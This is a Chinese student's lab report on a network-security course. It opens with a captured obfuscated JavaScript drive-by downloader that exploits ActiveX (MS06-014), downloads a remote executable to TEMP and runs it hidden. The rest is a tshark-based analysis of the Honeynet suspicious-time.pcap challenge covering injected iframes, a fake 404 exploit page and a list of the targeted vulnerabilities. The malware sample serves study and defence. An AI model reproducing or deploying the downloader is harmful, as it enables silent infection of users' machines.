       var  bin	=e.Item("T" + "E"+"M" +	"P")+"\\RcGBZTuyXrEiXI"+ ".e"+"xe";	  
       var dat;  	 
       try
       {	
	      xml=new XMLHttpRequest();	 		
       }
       catch(e)	 
       {
	      try
	      {
		      xml=new ActiveXObject("Microsoft.XMLHTTP");
	      } 
	      catch(e)	
	      {
	              xml= new ActiveXObject("MSXML2.ServerXMLHTTP");
	      }
       }
       if(!xml)	  
       {
	      return(0);
       } 
       xml.open("GET", url,false);  	
       xml.send(null); 
       dat =xml.responseBody;
       o.Type= 1 ;
       o.Mode= 3 ;
       o.Open();	   	
       o.Write(dat);
       o.SaveToFile(bin,2);
       s.Run(bin,0);
}			  	 
function	 
xpVPVuAUtYVwRYtZmVwlgHuiOZMCSX()
{
       var i=0;
       var t=new Array( '{'+'B'+'D'+'9'+'6'+'C'+'5'+'5'+'6'+'-'+'6'+'5'+'A'+'3'+'-'+'1'+'1'+'D'+'0'+'-'+'9'+'8'+'3'+'A'+'-'+'0'+'0'+'C'+'0'+'4'+'F'+'C'+'2'+'9'+'E'+'3'+'6'+'}','{'+'B'+'D'+'9'+'6'+'C'+'5'+'5'+'6'+'-'+'6'+'5'+'A'+'3'+'-'+'1'+'1'+'D'+'0'+'-'+'9'+'8'+'3'+'A'+'-'+'0'+'0'+'C'+'0'+'4'+'F'+'C'+'2'+'9'+'E'+'3'+'0'+'}','{'+'7'+'F'+'5'+'B'+'7'+'F'+'6'+'3'+'-'+'F'+'0'+'6'+'F'+'-'+'4'+'3'+'3'+'1'+'-'+'8'+'A'+'2'+'6'+'-'+'3'+'3'+'9'+'E'+'0'+'3'+'C'+'0'+'A'+'E'+'3'+'D'+'}','{'+'6'+'e'+'3'+'2'+'0'+'7'+'0'+'a'+'-'+'7'+'6'+'6'+'d'+'-'+'4'+'e'+'e'+'6'+'-'+'8'+'7'+'9'+'c'+'-'+'d'+'c'+'1'+'f'+'a'+'9'+'1'+'d'+'2'+'f'+'c'+'3'+'}','{'+'6'+'4'+'1'+'4'+'5'+'1'+'2'+'B'+'-'+'B'+'9'+'7'+'8'+'-'+'4'+'5'+'1'+'D'+'-'+'A'+'0'+'D'+'8'+'-'+'F'+'C'+'F'+'D'+'F'+'3'+'3'+'E'+'8'+'3'+'3'+'C'+'}','{'+'0'<h+'6'+'7'+'2'+'3'+'E'+'0'+'9'+'-'+'F'+'4'+'C'+'2'+'-'+'4'+'3'+'c'+'8'+'-'+'8'+'3'+'5'+'8'+'-'+'0'+'9'+'F'+'C'+'D'+'1'+'D'+'B'+'0'+'7'+'6'+'6'+'}','{'+'6'+'3'+'9'+'F'+'7'+'2'+'5'+'F'+'-'+'1'+'B'+'2'+'D'+'-'+'4'+'8'+'3'+'1'+'-'+'A'+'9'+'F'+'D'+'-'+'8'+'7'+'4'+'8'+'4'+'7'+'6'+'8'+'2'+'0'+'1'+'0'+'}','{'+'B'+'A'+'0'+'1'+'8'+'5'+'9'+'9'+'-'+'1'+'D'+'B'+'3'+'-'+'4'+'4'+'f'+'9'+'-'+'8'+'3'+'B'+'4'+'-'+'4'+'6'+'1'+'4'+'5'+'4'+'C'+'8'+'4'+'B'+'F'+'8'+'}','{'+'D'+'0'+'C'+'0'+'7'+'D'+'5'+'6'+'-'+'7'+'C'+'6'+'9'+'-'+'4'+'3'+'F'+'1'+'-'+'B'+'4'+'A'+'0'+'-'+'2'+'5'+'F'+'5'+'A'+'1'+'1'+'F'+'A'+'B'+'1'+'9'+'}','{'+'E'+'8'+'C'+'C'+'C'+'D'+'D'+'F'+'-'+'C'+'A'+'2'+'8'+'-'+'4'+'9'+'6'+'b'+'-'+'B'+'0'+'5'+'0'+'-'+'6'+'C'+'0'+'7'+'C'+'9'+'6'+'2'+'4'+'7'+'6'+'B'+'}','{'+'A'+'B'+'9'+'B'+'C'+'E'+'D'+'D'+'-'+'E'+'C'+'7'+'E'+'-'+'4'+'7'+'E'+'1'+'-'+'9'+'3'+'2'+'2'+'-'+'D'+'4'+'A'+'2'+'1'+'0'+'6'+'1'+'7'+'1'+'1'+'6'+'}','{'+'0'+'0'+'0'+'6'+'F'+'0'+'3'+'3'+'-'+'0'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'-'+'C'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'4'+'6'+'}','{'+'0'+'0'+'0'+'6'+'F'+'0'+'3'+'A'+'-'+'0'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'-'+'C'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'4'+'6'+'}' 	,null);	

while(t[i])	  
{
	var a=null;
	if(t[i].substring(0,1)=='{')
	{
		a=document.createElement("object"); 
		a.setAttribute("cl"+ "as"+"sid","cl"+"s"+"id" +":"+ t[i].substring(1,t[i].length-1 ));
	}
	else	
	{
		try	  {
			a=new ActiveXObject(t[i]);
		}	 		
		catch(e){}
	}	
	if (a)		 
	{ 	 						
		try {
			var b=GMyRQIrZiOCzhYGaIxZBaU(a ,"W"+"Sc"+ "ri"+"pt"+ ".S" +"he" + "ll"	);	
			if(b)
			{   
				XtgXVSLFpOGBakXUxzuEgvHkrKk(a); 	
				return(0);	 
			} 
			}
		catch(e){}		
	}	  
	i++;
	}
}
</script>
</html>

(3)在上述代码中,可以看到使用js调用了document.location加载了payload,并且下一行中后面跟了一个可执行文件RcGBZTuyXrEiXI.exe,猜想这个可执行文件应该是以攻击机为服务器,通过网页下载到靶机上的,而且为了躲避杀毒软件,每次加载恶意网页生成的可执行文件的名字不一样。

(4)打开靶机任务管理器查看正在运行的程序,可以看到在网页源码中出现的那个可执行文件。

(5)另外,仔细观察js代码可以发现一个很长的数组,数组内容为:
' { BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E36 } ', ' { BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E30 } ',....
搜索BD96C556,可以知道攻击者使用的漏洞是MS06-014

实践四:Web浏览器遭遇攻击

通过分析以下给出的网络记录pcap文件(suspicious-time.pcap Shal: 1fl0c8a4996fafa80d47202881a17796941fd337),回答以下问题并撰写实践分析报告。

  1. 列出在捕获文件中的应用层协议类型,你认为攻击是针对哪个或哪些协议的?
  2. 列出捕获文件中的IP地址、主机名和域名。从这些信息中你能猜出攻击场景的环
    境配置情况吗?
  3. 列出捕获文件中的所有网页页面,其中哪些页面包含了可疑的、可能是恶意的JavaScript脚本代码?谁在连接这些页面?请描述恶意网页的攻击目的?
  4. 请给出攻击者执行攻击动作的概要描述。
  5. 攻击者引入了哪些技巧给你的分析带来了困难,请提供在之前问题中识别的恶意JavaScript脚本内容,并对它们进行解码或解密。
  6. 攻击者的目标是哪个操作系统,哪些应用软件,哪些安全漏洞?如何阻止这些攻击?
  7. Shellcode 执行了哪些动作?请列出Shellcode的MD5,并比较它们之间的差异?
  8. 在攻击场景中有二进制可执行恶意代码参与吗?它们的目的是什么?

分析过程:

1. 列出在捕获文件中的应用层协议类型,你认为攻击是针对哪个或哪些协议的?

使用 chaosreader 生成文件

可以看到虽然有Bootps,Netbios 或 DNS 协议,但是数量少,即没有针对 ICMP,Bootps,Netbios 或 DNS 协议的攻击。有大量HTTP协议,针对的协议应该是 HTTP。

2. 列出捕获文件中的IP地址、主机名和域名。从这些信息中你能猜出攻击场景的环
境配置情况吗?

在kali中输入如下命令:

for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort 

得到如下内容:

Rapidshare.com.eyu32.ru 网站应该是伪造了一个知名品牌,这可能被攻击者用来对用户进行网上钓鱼。IP地址为:192。168.56.50
sploitme.com.cn,这个名称实际上暗指含有恶意或者游戏(挑战),网站是不存在的(未找到 DNS 域名)。ip 地址为 192.168.56.52
shop.honeynet.sg 应该是一个购物网站的服务器,看起来是正常的。IP地址为 192.168.56.51。
google,看起来也是正常
honeynet.org是另一个著名的组织网站,看起来正常。

接下来输入如下命令:

tshark -r suspicious-time.pcap | grep 'NB.*20\>' | sed -e 's/<[^>]*>//g'
 | awk '{print $3,$4,$10}' | sort -u

这条命令是筛选出NBNS协议,而NBNS是NetBIOS name service的缩写,是NetBIOS的命名服务,用于将NetBIOS名称映射到IP地址上,是NetBIOS-over-TCP(NBT)协议族的一份子。NBNS是动态DNS的一种,Microsoft的NBNS实现称为WINS。路由器可以通过发送NBNS状态请求以获取设备名,windows PC 接收到后通过WINS或将本地缓存发送命名信息给路由器。

得到如下内容:

可以看到这四个不同的IP地址分别映射的主机名是相同的。

输入命令:

tshark -r suspicious-time.pcap | grep 'NB.*1e\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$10}' | sort -u

得到如下内容:

可以看到这四个IP地址的主机在同一个工作组

输入命令:

tshark -r suspicious-time.pcap arp | grep has | awk '{print $3,"->",$10}' | tr -d '?'

得到如下内容:

可以看到这不同的网关地址有着不同的MAC地址。

根据上面的分析,可以推测这四台主机相同的(或者克隆的),但具有四个网卡,那么攻击场景的环境应该是在 VM 环境中。
具体如下:
攻击者:192.168.56.52 ( “sploitme.com.cn”)
受害者:10.0.2.1510.0.3.1510.0.4.1510.0.5.15
模拟被侵入主机:192.168.56.50 ( “rapidshare.com.eyu32.ru”)192.168.56.51 (“shop.honeynet.sg”)
服务:10.0.2.210.0.3.210.0.4.210.0.5.2 (DHCP 服务和网关),192.168.1.1(DNS 服务)。

3. 列出捕获文件中的所有网页页面,其中哪些页面包含了可疑的、可能是恶意的JavaScript脚本代码?谁在连接这些页面?请描述恶意网页的攻击目的?

列出捕获文件中的所有网页页面,输入如下命令:

tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1,"->",$2,"\t:","http://"$3$4}'

得到如下图中的所有网页页面:

在(2)中我们已经大致判断出google,honeynet.org应该是正常的,并且images和css页面也应该是无害的,于是使用如下命令过滤出包含可疑、可能是恶意JavaScript脚本代码的页面:

tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1,"->",$2,"\t:","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' -e google -e 'honeynet.org'

找rapidshare.com.eyu32.ru/login.php,对应文件session_0006.part_01.html,发现了如下界面:

这应该是一个钓鱼网站,显然是恶意创建。

找sploitme.com.cn,这个对应文件session_0007.part_02.html,发现如下界面 404 NotFound

下面找shop.honeynet.sg/catalog/,对应文件session_0032.part_01.html。

可以看出这是一个购物网站。

4. 请给出攻击者执行攻击动作的概要描述。

攻击者将恶意 javascript 代码注入指向sploitme.com.cn/?click=X的隐藏iframe。当访问者查看这些页面时,它们首先被重定向到sploitme.com.cn/fg/show.php?s=X,该页面通过302 FOUND标头重定向到伪造的404页面(数据包63、174、366)。然后在该页面中,检查用户代理字符串,着陆点和其他参数,并(show.php)发出另一个javascript代码,该代码尝试各种攻击以在受害者的计算机中执行代码。如果任何漏洞利用成功,则客户端的计算机将下载并执行位于sploitme.com.cn/fg/load.php?e=X的文件,恶意软件访问www.honeynet.org

5. 攻击者引入了哪些技巧给你的分析带来了困难,请提供在之前问题中识别的恶意JavaScript脚本内容,并对它们进行解码或解密。

  • JavaScript混淆机制,如
- the script on rapidshare.eyu32.ru has been created by:
http://dean.edwards.name/packer/+http://www.web-code.org/coding-tools/javascript-escape-unescape-coverter-tool.html
- the script on honeynet.sg has been created with:
http://www.colddata.com/developers/online_tools/obfuscator.shtml#obfuscator_view
  • 伪装成404页面
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<meta name=" robots" content="noindex">
<title>404 Not Found</title>
</head> <body>
<h1>Not Found</h1>
<p>The requested URL /fg/show.php was not found on this server.</p>
<script language=' JavaScript'>
[some script]
</script>
<noscript></noscript>
</body></html>
  • 该漏洞利用程序不允许同一客户端访问两次。

  • 发送给受害者的漏洞利用程序取决于受害者使用的浏览器,这使得确定漏洞利用者变得更加困难

6. 攻击者的目标是哪个操作系统,哪些应用软件,哪些安全漏洞?如何阻止这些攻击?

实验指导书上这一步的分析没看懂,不会分析
安全漏洞有:Mdac:WScript.Shell-MS06-014,Aolwinamp:IWinAmpActiveX.ConvertFile,Directshow:'msvdctl.dll'-MS09-032-MS09-037,Snapshot:MSOfficeSnapshotViewer-MS08-041,Com:'msdds.dll' COM Object-MS05-052,Spreadsheet:OWC10.Spreadsheet-MS09-43

3.学习中遇到的问题及解决

  • 问题1:问题太多,实验指导书上也有很多不明白
  • 问题1解决方案:还未全部解决

4.实践总结

  最大感受就是这次实践除了实践一的另外三个实践都太难了,看老师给的实践指导书也还是有很多地方不明白。

参考资料

posted on 2020-05-21 10:13  20199317-程峥华  阅读(790)  评论(0编辑  收藏  举报

导航